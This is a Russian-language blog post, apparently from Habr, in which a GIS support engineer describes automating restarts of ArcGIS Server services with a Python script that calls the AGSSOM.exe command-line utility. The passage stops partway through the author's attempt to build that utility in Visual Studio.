{"id":368840,"date":"2024-05-21T03:50:42","date_gmt":"2024-05-21T03:50:42","guid":{"rendered":"http:\/\/savepearlharbor.com\/?p=368840"},"modified":"-0001-11-30T00:00:00","modified_gmt":"-0001-11-29T21:00:00","slug":"","status":"publish","type":"post","link":"https:\/\/savepearlharbor.com\/?p=368840","title":{"rendered":"<span>\u041a\u0430\u043a \u0438\u043d\u0436\u0435\u043d\u0435\u0440-\u0433\u0435\u043e\u0434\u0435\u0437\u0438\u0441\u0442 \u043d\u0430\u0441\u0442\u0440\u0430\u0438\u0432\u0430\u043b \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0437\u0430\u0446\u0438\u044e \u0434\u043b\u044f \u043f\u0435\u0440\u0435\u0437\u0430\u043f\u0443\u0441\u043a\u0430 \u0441\u043b\u0443\u0436\u0431\u044b ArcGIS Server \u0438 \u0447\u0442\u043e \u0438\u0437 \u044d\u0442\u043e\u0433\u043e \u0432\u044b\u0448\u043b\u043e<\/span>"},"content":{"rendered":"<div><!--[--><!--]--><\/div>\n<div id=\"post-content-body\">\n<div>\n<div class=\"article-formatted-body article-formatted-body article-formatted-body_version-2\">\n<div xmlns=\"http:\/\/www.w3.org\/1999\/xhtml\">\n<p>\u0421\u043e\u0442\u0440\u0443\u0434\u043d\u0438\u043a\u0438 \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u043a\u0438 \u0434\u043e\u043b\u0436\u043d\u044b \u0443\u043c\u0435\u0442\u044c \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0438\u0440\u043e\u0432\u0430\u0442\u044c. \u041f\u043e\u044d\u0442\u043e\u043c\u0443, \u043a\u043e\u0433\u0434\u0430 \u043d\u0430 \u0440\u0430\u0431\u043e\u0442\u0435 \u043d\u0430\u043c \u043f\u043e\u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043b\u043e\u0441\u044c \u043d\u0430\u0441\u0442\u0440\u043e\u0438\u0442\u044c \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0437\u0430\u0446\u0438\u044e \u0434\u043b\u044f \u043f\u0435\u0440\u0435\u0437\u0430\u043f\u0443\u0441\u043a\u0430 \u0441\u043b\u0443\u0436\u0431\u044b ArcGIS Server, \u0430 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0442\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u0443\u044e \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u043a\u0443 \u0432\u0435\u043d\u0434\u043e\u0440\u0430 ESRI \u043d\u0430 \u0442\u0435\u0440\u0440\u0438\u0442\u043e\u0440\u0438\u0438 \u0420\u0424 \u0443\u0436\u0435 \u0431\u044b\u043b\u043e \u043d\u0435\u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e, \u044f \u0440\u0435\u0448\u0438\u043b \u0440\u0435\u0430\u043b\u0438\u0437\u043e\u0432\u0430\u0442\u044c \u0440\u0435\u0448\u0435\u043d\u0438\u0435 \u0441\u0430\u043c\u043e\u0441\u0442\u043e\u044f\u0442\u0435\u043b\u044c\u043d\u043e. \u0412 \u0441\u0442\u0430\u0442\u044c\u0435 \u043e\u043f\u0438\u0441\u044b\u0432\u0430\u044e, \u043a\u0430\u043a\u043e\u0439 \u043f\u0443\u0442\u044c \u044f \u043f\u0440\u043e\u0448\u0451\u043b \u043f\u043e \u043f\u043e\u0438\u0441\u043a\u0443 \u0440\u0435\u0448\u0435\u043d\u0438\u044f \u043d\u0430 \u043e\u0441\u043d\u043e\u0432\u0435 \u0441\u043e\u0432\u0435\u0442\u043e\u0432 \u0441 gis.stackexchange.com \u0438 AI.<\/p>\n<p>\u0414\u0438\u0441\u043a\u043b\u0435\u0439\u043c\u0435\u0440: \u0432 \u043f\u0440\u043e\u0448\u043b\u043e\u043c\u00a0 \u044f \u0438\u043d\u0436\u0435\u043d\u0435\u0440-\u0433\u0435\u043e\u0434\u0435\u0437\u0438\u0441\u0442, \u043d\u0430\u0447\u0430\u0432\u0448\u0438\u0439 \u0441\u0432\u043e\u0439 \u043f\u0443\u0442\u044c \u0432 \u0418\u0422, \u043f\u0435\u0440\u0435\u0439\u0434\u044f \u043d\u0430 \u0440\u0430\u0431\u043e\u0442\u0443 \u0432\u043e \u0432\u0442\u043e\u0440\u0443\u044e \u043b\u0438\u043d\u0438\u044e \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u043a\u0438 \u0441\u0438\u0441\u0442\u0435\u043c\u044b \u0413\u0418\u0421 \u04255 \u0432 \u043f\u043e\u0434\u0440\u0430\u0437\u0434\u0435\u043b\u0435\u043d\u0438\u0435 X5 Tech. \u041f\u043e\u044d\u0442\u043e\u043c\u0443 \u043f\u0440\u043e\u0448\u0443 \u043f\u043e\u043d\u044f\u0442\u044c \u0438 \u043f\u0440\u043e\u0441\u0442\u0438\u0442\u044c \u043c\u043d\u0435 \u0444\u043b\u0451\u0440 \u0434\u0436\u0443\u043d\u0430-\u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0438\u0441\u0442\u0430 \u0432 \u0434\u0430\u043d\u043d\u043e\u0439 \u0441\u0442\u0430\u0442\u044c\u0435.<\/p>\n<p>\u0413\u0418\u0421 \u04255 \u2014 \u044d\u0442\u043e \u043e\u0434\u0438\u043d \u0438\u0437 \u043d\u0430\u0448\u0438\u0445 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u043e\u0432 \u0440\u0430\u0437\u0432\u0438\u0442\u0438\u044f \u0442\u043e\u0440\u0433\u043e\u0432\u044b\u0445 \u0441\u0435\u0442\u0435\u0439 X5 Group (\u201c\u041f\u044f\u0442\u0451\u0440\u043e\u0447\u0435\u043a\u201d, \u201c\u041f\u0435\u0440\u0435\u043a\u0440\u0451\u0441\u0442\u043a\u043e\u0432\u201d \u0438 \u201c\u0427\u0438\u0436\u0438\u043a\u043e\u0432\u201d). \u0415\u0441\u043b\u0438 \u0441\u043e\u0432\u0441\u0435\u043c \u043f\u0440\u043e\u0441\u0442\u043e \u0438 \u043a\u043e\u0440\u043e\u0442\u043a\u043e, \u0442\u043e \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u043d\u0435\u0433\u043e \u043c\u044b \u043e\u0446\u0435\u043d\u0438\u0432\u0430\u0435\u043c \u044d\u0444\u0444\u0435\u043a\u0442\u0438\u0432\u043d\u043e\u0441\u0442\u044c \u043b\u043e\u043a\u0430\u0446\u0438\u0438 \u0431\u0443\u0434\u0443\u0449\u0438\u0445 \u043c\u0430\u0433\u0430\u0437\u0438\u043d\u043e\u0432 \u043f\u043e \u0440\u044f\u0434\u0443 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u043e\u0432, \u043d\u0430 \u043e\u0441\u043d\u043e\u0432\u0430\u043d\u0438\u0438 \u0447\u0435\u0433\u043e \u043f\u0440\u0438\u043d\u0438\u043c\u0430\u0435\u043c \u0440\u0435\u0448\u0435\u043d\u0438\u0435 \u043e\u0431 \u0438\u0445 \u043e\u0442\u043a\u0440\u044b\u0442\u0438\u0438 \u0432 \u0442\u043e\u0439 \u0438\u043b\u0438 \u0438\u043d\u043e\u0439 \u0442\u043e\u0447\u043a\u0435.<\/p>\n<details class=\"spoiler\">\n<summary>\u0422\u0435\u0440\u043c\u0438\u043d\u044b \u0438 \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u0438\u044f<\/summary>\n<div class=\"spoiler__content\">\n<p><a href=\"https:\/\/ru.wikipedia.org\/wiki\/ArcGIS\"><strong><u>ArcGIS<\/u><\/strong><\/a> \u2014 \u043a\u043e\u043c\u043f\u043b\u0435\u043a\u0441 \u0433\u0435\u043e\u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u043e\u043d\u043d\u044b\u0445 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u043d\u044b\u0445 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432 \u0430\u043c\u0435\u0440\u0438\u043a\u0430\u043d\u0441\u043a\u043e\u0439 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438 ESRI. \u041f\u0440\u0438\u043c\u0435\u043d\u044f\u0435\u0442\u0441\u044f \u0434\u043b\u044f \u0437\u0435\u043c\u0435\u043b\u044c\u043d\u044b\u0445 \u043a\u0430\u0434\u0430\u0441\u0442\u0440\u043e\u0432, \u0432 \u0437\u0430\u0434\u0430\u0447\u0430\u0445 \u0437\u0435\u043c\u043b\u0435\u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430, \u0443\u0447\u0451\u0442\u0430 \u043e\u0431\u044a\u0435\u043a\u0442\u043e\u0432 \u043d\u0435\u0434\u0432\u0438\u0436\u0438\u043c\u043e\u0441\u0442\u0438, \u0441\u0438\u0441\u0442\u0435\u043c \u0438\u043d\u0436\u0435\u043d\u0435\u0440\u043d\u044b\u0445 \u043a\u043e\u043c\u043c\u0443\u043d\u0438\u043a\u0430\u0446\u0438\u0439, \u0433\u0435\u043e\u0434\u0435\u0437\u0438\u0438 \u0438 \u043d\u0435\u0434\u0440\u043e\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u044f \u0438 \u0434\u0440\u0443\u0433\u0438\u0445 \u043e\u0431\u043b\u0430\u0441\u0442\u044f\u0445.<\/p>\n<p><a href=\"https:\/\/en.wikipedia.org\/wiki\/ArcGIS_Server\"><strong><u>ArcGIS Server<\/u><\/strong><\/a> \u2013 \u044d\u0442\u043e \u043e\u0441\u043d\u043e\u0432\u043d\u043e\u0439 \u0441\u0435\u0440\u0432\u0435\u0440 \u0433\u0435\u043e\u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u043e\u043d\u043d\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u044b (\u0413\u0418\u0421), \u0441\u043e\u0437\u0434\u0430\u043d\u043d\u044b\u0439 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0435\u0439 Esri. ArcGIS Server \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u0434\u043b\u044f \u0441\u043e\u0437\u0434\u0430\u043d\u0438\u044f \u0438 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0413\u0418\u0421 Web-\u0441\u0435\u0440\u0432\u0438\u0441\u0430\u043c\u0438, \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f\u043c\u0438 \u0438 \u0434\u0430\u043d\u043d\u044b\u043c\u0438. ArcGIS Server \u043e\u0431\u044b\u0447\u043d\u043e \u0440\u0430\u0437\u0432\u0451\u0440\u0442\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u043e \u0432 \u0440\u0430\u043c\u043a\u0430\u0445 \u0441\u0435\u0440\u0432\u0438\u0441-\u043e\u0440\u0438\u0435\u043d\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0439 \u0430\u0440\u0445\u0438\u0442\u0435\u043a\u0442\u0443\u0440\u044b (SOA) \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0438 \u0438\u043b\u0438 \u0432\u043d\u0435 \u0435\u0451 \u0432 \u0441\u0440\u0435\u0434\u0435 \u043e\u0431\u043b\u0430\u0447\u043d\u044b\u0445 \u0432\u044b\u0447\u0438\u0441\u043b\u0435\u043d\u0438\u0439.\u00a0<\/p>\n<p><a href=\"https:\/\/www.esri.com\/arcgis-blog\/products\/arcgis-enterprise\/administration\/shared-instances-arcgis-server-107\/\"><strong><u>ArcSOC (Arcgis Server Object Container)<\/u><\/strong><\/a> \u2013 \u0414\u043b\u044f \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0438 \u0437\u0430\u043f\u0440\u043e\u0441\u0430 \u043a \u0441\u0435\u0440\u0432\u0438\u0441\u0443 \u043d\u0430\u0437\u043d\u0430\u0447\u0435\u043d\u043d\u044b\u0439 ArcGIS Server \u043a\u043e\u043c\u043f\u044c\u044e\u0442\u0435\u0440 (\u0438\u043b\u0438 \u0441\u0435\u0440\u0432\u0435\u0440) \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442 \u044d\u043a\u0437\u0435\u043c\u043f\u043b\u044f\u0440 \u0441\u0435\u0440\u0432\u0435\u0440\u043d\u043e\u0433\u043e \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430 Esri ArcSOC. \u041a\u0430\u0436\u0434\u043e\u043c\u0443 \u044d\u043a\u0437\u0435\u043c\u043f\u043b\u044f\u0440\u0443 \u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0443\u0435\u0442 \u0441\u0432\u043e\u0439 ArcSOC.exe (\u0438\u0441\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0435 \u2013 \u0441\u0435\u0440\u0432\u0438\u0441 \u0433\u0435\u043e\u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0438, \u0434\u043b\u044f \u043d\u0435\u0433\u043e \u043c\u0438\u043d\u0438\u043c\u0430\u043b\u044c\u043d\u043e\u0435 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435\u00a0 ArcSOC.exe &#8212; 2). \u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c, \u0444\u043e\u0440\u043c\u0438\u0440\u0443\u044f \u0437\u0430\u043f\u0440\u043e\u0441 \u043a \u043a\u043e\u043d\u043a\u0440\u0435\u0442\u043d\u043e\u043c\u0443 \u0441\u0435\u0440\u0432\u0438\u0441\u0443, \u043e\u0431\u0449\u0430\u0435\u0442\u0441\u044f \u0441 ArcGis Server \u0438\u043c\u0435\u043d\u043d\u043e \u0447\u0435\u0440\u0435\u0437 ArcSOC.exe.<\/p>\n<\/div>\n<\/details>\n<h3>\u0421\u0443\u0442\u044c \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u044b<\/h3>\n<p>\u041d\u0430\u0441\u0442\u0430\u043b \u043c\u043e\u043c\u0435\u043d\u0442, \u043a\u043e\u0433\u0434\u0430 \u0434\u043b\u044f \u0431\u044b\u0441\u0442\u0440\u043e\u0439 \u043b\u0438\u043a\u0432\u0438\u0434\u0430\u0446\u0438\u0438 \u0438\u043d\u0446\u0438\u0434\u0435\u043d\u0442\u0430 \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0435 \u043f\u043e\u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043b\u0441\u044f \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u043f\u0435\u0440\u0435\u0437\u0430\u043f\u0443\u0441\u043a \u043a\u0430\u043a \u0441\u0430\u043c\u043e\u0439 \u0441\u043b\u0443\u0436\u0431\u044b <a href=\"https:\/\/docs.google.com\/document\/d\/1PS4CzYYiB8hPoxu4sKJcPNXkP8Ak5aHdOoMnmbStHEI\/edit#bookmark=kix.dn1s3xl3on9i\"><u>ArcGIS Server<\/u><\/a>, \u0442\u0430\u043a \u0438 \u0432\u043d\u0443\u0442\u0440\u0435\u043d\u043d\u0438\u0445 \u0441\u0435\u0440\u0432\u0438\u0441\u043e\u0432, \u043e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u0432\u043d\u0443\u0442\u0440\u0438 \u0441\u0430\u043c\u043e\u0439 \u0441\u043b\u0443\u0436\u0431\u044b \u043f\u043e \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u043e\u0441\u0442\u0438, \u043b\u0438\u0431\u043e \u0433\u0440\u0443\u043f\u043f\u0430\u043c\u0438.<\/p>\n<p>\u0421\u0440\u0435\u0434\u0438 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432 \u0441\u0435\u043c\u0435\u0439\u0441\u0442\u0432\u0430 <a href=\"https:\/\/docs.google.com\/document\/d\/1PS4CzYYiB8hPoxu4sKJcPNXkP8Ak5aHdOoMnmbStHEI\/edit#bookmark=kix.j55kn5hmg709\"><u>ArcGIS<\/u><\/a> \u0435\u0441\u0442\u044c <a href=\"https:\/\/www.esri.com\/en-us\/arcgis\/products\/arcgis-monitor\/overview\"><u>ArcGIS Monitor<\/u><\/a>. \u042d\u0442\u043e \u0434\u0430\u0448\u0431\u043e\u0440\u0434, \u043e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u044e\u0449\u0438\u0439 \u0440\u044f\u0434 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u043e\u0432 \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u044f ArcGIS Server. \u041e\u0434\u043d\u0430\u043a\u043e \u0441\u0440\u0435\u0434\u0438 \u0435\u0433\u043e \u0444\u0443\u043d\u043a\u0446\u0438\u0439 \u043d\u0435\u0442 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u0438 \u043f\u0435\u0440\u0435\u0437\u0430\u043f\u0443\u0441\u0442\u0438\u0442\u044c ArcGIS Server \u0432 \u0430\u0432\u0442\u043e\u043d\u043e\u043c\u043d\u043e\u043c \u0440\u0435\u0436\u0438\u043c\u0435. \u0422\u0430\u043a\u0436\u0435 \u0432 \u0445\u043e\u0434\u0435 \u0442\u0435\u0441\u0442\u043e\u0432 \u043d\u0430 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0438\u0432\u043d\u043e\u043c \u0441\u0435\u0440\u0432\u0435\u0440\u0435 \u0431\u044b\u043b\u043e \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u043e, \u0447\u0442\u043e ArcGIS Monitor \u0441\u043e\u0432\u043c\u0435\u0441\u0442\u043d\u043e \u0441 MongoDB \u043e\u0442\u043a\u0443\u0441\u044b\u0432\u0430\u0435\u0442 \u043f\u0440\u0438\u043b\u0438\u0447\u043d\u044b\u0439 \u043a\u0443\u0441\u043e\u043a \u0440\u0435\u0441\u0443\u0440\u0441\u043e\u0432 \u0441\u0435\u0431\u0435 \u0434\u043b\u044f \u0440\u0430\u0431\u043e\u0442\u044b. \u0422\u0435\u043c \u0441\u0430\u043c\u044b\u043c \u0440\u043e\u043d\u044f\u044f \u0441\u0442\u0430\u0431\u0438\u043b\u044c\u043d\u043e\u0441\u0442\u044c \u0440\u0430\u0431\u043e\u0442\u044b \u0441\u0435\u0440\u0432\u0435\u0440\u0430. \u041d\u0443 \u0438 \u043d\u0430\u043f\u043e\u0441\u043b\u0435\u0434\u043e\u043a: \u0432\u0432\u0438\u0434\u0443 \u0441\u0430\u043d\u043a\u0446\u0438\u0439 \u0443 \u043c\u0435\u043d\u044f \u043d\u0435\u0442 \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u043a \u043b\u0438\u0446\u0435\u043d\u0437\u0438\u0438 ArcGIS Monitor. \u041e\u0441\u0442\u0430\u0451\u0442\u0441\u044f \u0432\u0441\u043f\u043e\u043c\u043d\u0438\u0442\u044c \u043f\u0440\u043e \u0438\u043c\u043f\u043e\u0440\u0442\u043e\u0437\u0430\u043c\u0435\u0449\u0435\u043d\u0438\u0435 \u0438 \u0440\u0435\u0430\u043b\u0438\u0437\u043e\u0432\u0430\u0442\u044c \u043d\u0443\u0436\u043d\u0443\u044e \u0443\u0442\u0438\u043b\u0438\u0442\u0443 \u0441\u0430\u043c\u043e\u0441\u0442\u043e\u044f\u0442\u0435\u043b\u044c\u043d\u043e.<\/p>\n<p><em>\u0422\u0443\u0442 \u0441\u0442\u043e\u0438\u0442 \u043e\u0442\u043c\u0435\u0442\u0438\u0442\u044c \u0434\u043e\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u043e, \u0447\u0442\u043e \u0441 \u0431\u043e\u043b\u044c\u0448\u0435\u0439 \u0432\u0435\u0440\u043e\u044f\u0442\u043d\u043e\u0441\u0442\u044c\u044e \u043f\u0440\u043e\u0431\u043b\u0435\u043c \u0432 \u0440\u0430\u0431\u043e\u0442\u0435 \u0413\u0418\u0421-\u0441\u0435\u0440\u0432\u0435\u0440\u0430 \u043c\u043e\u0436\u043d\u043e \u0438\u0437\u0431\u0435\u0436\u0430\u0442\u044c, \u0435\u0441\u043b\u0438 \u0440\u0430\u0437\u043c\u0435\u0441\u0442\u0438\u0442\u044c ArcGIS Monitor \u043d\u0430 \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u043e\u043c \u043a\u043e\u043d\u0442\u0443\u0440\u0435. \u041d\u043e \u0438\u0434\u0435\u044f \u044d\u0442\u0430 \u0432\u044b\u0433\u043b\u044f\u0434\u0438\u0442 \u0441\u043e\u043c\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u043e\u0439 \u0441 \u0442\u043e\u0447\u043a\u0438 \u0437\u0440\u0435\u043d\u0438\u044f \u0437\u0430\u0442\u0440\u0430\u0442 \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u043d\u043e\u0435 \u043e\u0431\u043e\u0440\u0443\u0434\u043e\u0432\u0430\u043d\u0438\u0435 \u0438 \u041e\u0421 \u0434\u043b\u044f \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u044b, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0442\u043e\u043b\u044c\u043a\u043e \u0441\u043b\u0435\u0434\u0438\u0442, \u043b\u043e\u0433\u0438\u0440\u0443\u0435\u0442 \u0438 \u043a\u0438\u0434\u0430\u0435\u0442 \u0432\u0430\u043c \u043d\u0430 \u043f\u043e\u0447\u0442\u0443 \u0430\u043b\u0435\u0440\u0442\u044b.<\/em><\/p>\n<h4>\u0427\u0430\u0441\u0442\u044c 1. \u041d\u0430\u0447\u0430\u043b\u043e \u043f\u043e\u0438\u0441\u043a\u0430 \u0440\u0435\u0448\u0435\u043d\u0438\u044f<\/h4>\n<p>\u041f\u0443\u0442\u0451\u043c \u043f\u0440\u043e\u0441\u0442\u043e\u0433\u043e \u0433\u0443\u0433\u043b\u0435\u043d\u0438\u044f \u044f \u043d\u0430\u0448\u0451\u043b \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u0441\u0442\u0440\u0430\u043d\u0438\u0446:<\/p>\n<ol>\n<li>\n<p><a href=\"https:\/\/gis.stackexchange.com\/questions\/17639\/starting-and-stopping-arcgis-server-map-services-using-python\"><u>Starting and stopping ArcGIS Server map services using Python? &#8212; Geographic Information Systems Stack Exchange<\/u><\/a><a href=\"https:\/\/copyprogramming.com\/howto\/starting-and-stopping-arcgis-server-map-services-using-python\">\u00a0<\/a><\/p>\n<\/li>\n<li>\n<p><a href=\"https:\/\/copyprogramming.com\/howto\/starting-and-stopping-arcgis-server-map-services-using-python\"><u>https:\/\/copyprogramming.com\/howto\/starting-and-stopping-arcgis-server-map-services-using-python<\/u><\/a><\/p>\n<\/li>\n<li>\n<p><a href=\"https:\/\/gis.stackexchange.com\/questions\/42492\/ogr2ogr-gdal-remove-features-in-filegdb-while-in-use-by-arcgis-server-map-serv?noredirect=1&amp;lq=1\"><u>ogr2ogr \/ GDAL remove features in FileGDB while in use by ArcGIS Server map service &#8212; Geographic Information Systems Stack Exchange<\/u><\/a>\u00a0<\/p>\n<\/li>\n<\/ol>\n<p>\u0412\u0441\u044f \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044f \u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e \u0441\u0442\u0430\u0440\u0430\u044f, \u0431\u043e\u043b\u0435\u0435 \u0447\u0435\u043c 10-\u043b\u0435\u0442\u043d\u0435\u0439 \u0434\u0430\u0432\u043d\u043e\u0441\u0442\u0438. \u041d\u043e \u044d\u0442\u043e \u0438 \u043d\u0435 \u0442\u0430\u043a \u0441\u0442\u0440\u0430\u0448\u043d\u043e, \u0442. \u043a. \u0441\u0430\u043c ArcGIS Server \u043f\u0440\u0438\u043c\u0435\u0440\u043d\u043e \u0438\u0437 \u0442\u0435\u0445 \u0436\u0435 \u0432\u0440\u0435\u043c\u0451\u043d.<\/p>\n<p>\u0421\u0430\u043c\u044b\u043c \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u044b\u043c \u0438 \u0447\u0430\u0441\u0442\u043e \u0443\u043f\u043e\u043c\u0438\u043d\u0430\u0435\u043c\u044b\u043c \u0440\u0435\u0448\u0435\u043d\u0438\u0435\u043c \u0432\u044b\u0433\u043b\u044f\u0434\u0438\u0442 \u0443\u0442\u0438\u043b\u0438\u0442\u0430, \u043d\u0430\u043f\u0438\u0441\u0430\u043d\u043d\u0430\u044f \u0441\u043e\u0442\u0440\u0443\u0434\u043d\u0438\u043a\u043e\u043c ESRI Boston \u043d\u0430 .NET: <u>AGSSOM.exe<\/u><\/p>\n<p>\u041e\u0431\u0440\u0430\u0449\u0430\u0442\u044c\u0441\u044f \u043a \u0443\u0442\u0438\u043b\u0438\u0442\u0435 \u044f \u043f\u043b\u0430\u043d\u0438\u0440\u043e\u0432\u0430\u043b \u043f\u0440\u0438 \u043f\u043e\u043c\u043e\u0449\u0438 Python, \u043a\u0430\u043a \u044d\u0442\u043e \u043f\u0440\u0435\u0434\u043b\u0430\u0433\u0430\u043b\u0438 \u043f\u043e \u0441\u0441\u044b\u043b\u043a\u0430\u043c \u0432\u044b\u0448\u0435, \u043d\u0430 <a href=\"https:\/\/gis.stackexchange.com\/questions\/17639\/starting-and-stopping-arcgis-server-map-services-using-python\"><u>gis.stackexchange<\/u><\/a>. \u0421\u0430\u043c \u0437\u0430\u043f\u0440\u043e\u0441 \u043d\u0430 Python \u043a AGSSOM.exe:<\/p>\n<details class=\"spoiler\">\n<summary>\u041f\u0440\u0438\u043c\u0435\u0440 \u0442\u0443\u0442:<\/summary>\n<div class=\"spoiler__content\">\n<pre><code class=\"python\">import os, subprocess #Get list of currently running map services stream = os.popen('D:\\\\GIS\\\\Admin\\\\AGSSOMv10.0\\\\AGSSOM.exe -list') mapservices = stream.readlines() lstStarted = [] for item in mapservices:     itemSplit = item.split(',')     if len(itemSplit) > 1:         if itemSplit[1].find(\"Started.\") > -1:             lstStarted.append(itemSplit[0]) #Shutdown all map services subprocess.call(['D:\\\\GIS\\\\Admin\\\\AGSSOMv10.0\\\\AGSSOM.exe', '-x', '*all*']) ##...Perform geodatabase tasks here #Restart previously running map services for mapservice in lstStarted:     subprocess.call(['D:\\\\GIS\\\\Admin\\\\AGSSOMv10.0\\\\AGSSOM.exe', '-s', mapservice])<\/code><\/pre>\n<\/p>\n<\/div>\n<\/details>\n<p>\u041d\u0430\u0445\u043e\u0436\u0443 \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u0439 \u0443\u0442\u0438\u043b\u0438\u0442\u044b:<a href=\"https:\/\/github.com\/sam-berg\/AGSSOM?ysclid=lo7a37way5979290105\"> <u>GitHub &#8212; sam-berg\/AGSSOM: AGSSOM.exe is a sample command line utility for starting, stopping, and restarting ArcGIS Server services,<\/u><\/a><em><u>\u2026\u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043d\u0435 \u043e\u0431\u043d\u043e\u0432\u043b\u044f\u043b\u0441\u044f 9 \u043b\u0435\u0442\u2026.<\/u><\/em>:<\/p>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/679\/d59\/cca\/679d59ccaa0f5aae7b896d98c10ff835.png\" width=\"1286\" height=\"587\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/679\/d59\/cca\/679d59ccaa0f5aae7b896d98c10ff835.png\"\/><\/figure>\n<p>\u041a\u043e\u0434 \u0438\u0437 Program.cs \u043f\u0440\u0438\u0432\u043e\u0434\u0438\u0442\u044c \u0442\u0443\u0442 \u043d\u0435 \u0431\u0443\u0434\u0443, \u0441\u043b\u0438\u0448\u043a\u043e\u043c \u0434\u043b\u0438\u043d\u043d\u044b\u0439 \u043f\u043e\u0441\u0442.<\/p>\n<p>\u0413\u043e\u0442\u043e\u0432\u043e\u0433\u043e .exe-\u0444\u0430\u0439\u043b\u0430 \u043d\u0435\u0442, \u043d\u0443\u0436\u043d\u043e \u0441\u043e\u0431\u0438\u0440\u0430\u0442\u044c \u043f\u0440\u043e\u0435\u043a\u0442 \u0438 \u0440\u0435\u0448\u0435\u043d\u0438\u0435.<\/p>\n<p>\u0421\u0442\u0430\u0432\u043b\u044e Visual Studio:<\/p>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/19d\/0f9\/27b\/19d0f927bec2e6724329320e5d66bdc8.png\" width=\"1280\" height=\"721\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/19d\/0f9\/27b\/19d0f927bec2e6724329320e5d66bdc8.png\"\/><\/figure>\n<p>\u041f\u0440\u043e\u0431\u0443\u044e \u0441\u043e\u0431\u0440\u0430\u0442\u044c \u043f\u0440\u043e\u0435\u043a\u0442 \u043a\u043e\u043d\u0441\u043e\u043b\u044c\u043d\u043e\u0433\u043e \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f \u043d\u0430 Net Framework 4.8:<\/p>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/2d4\/4b4\/08e\/2d44b408ea1b1540a14460e9ac714af4.png\" width=\"1589\" height=\"724\" 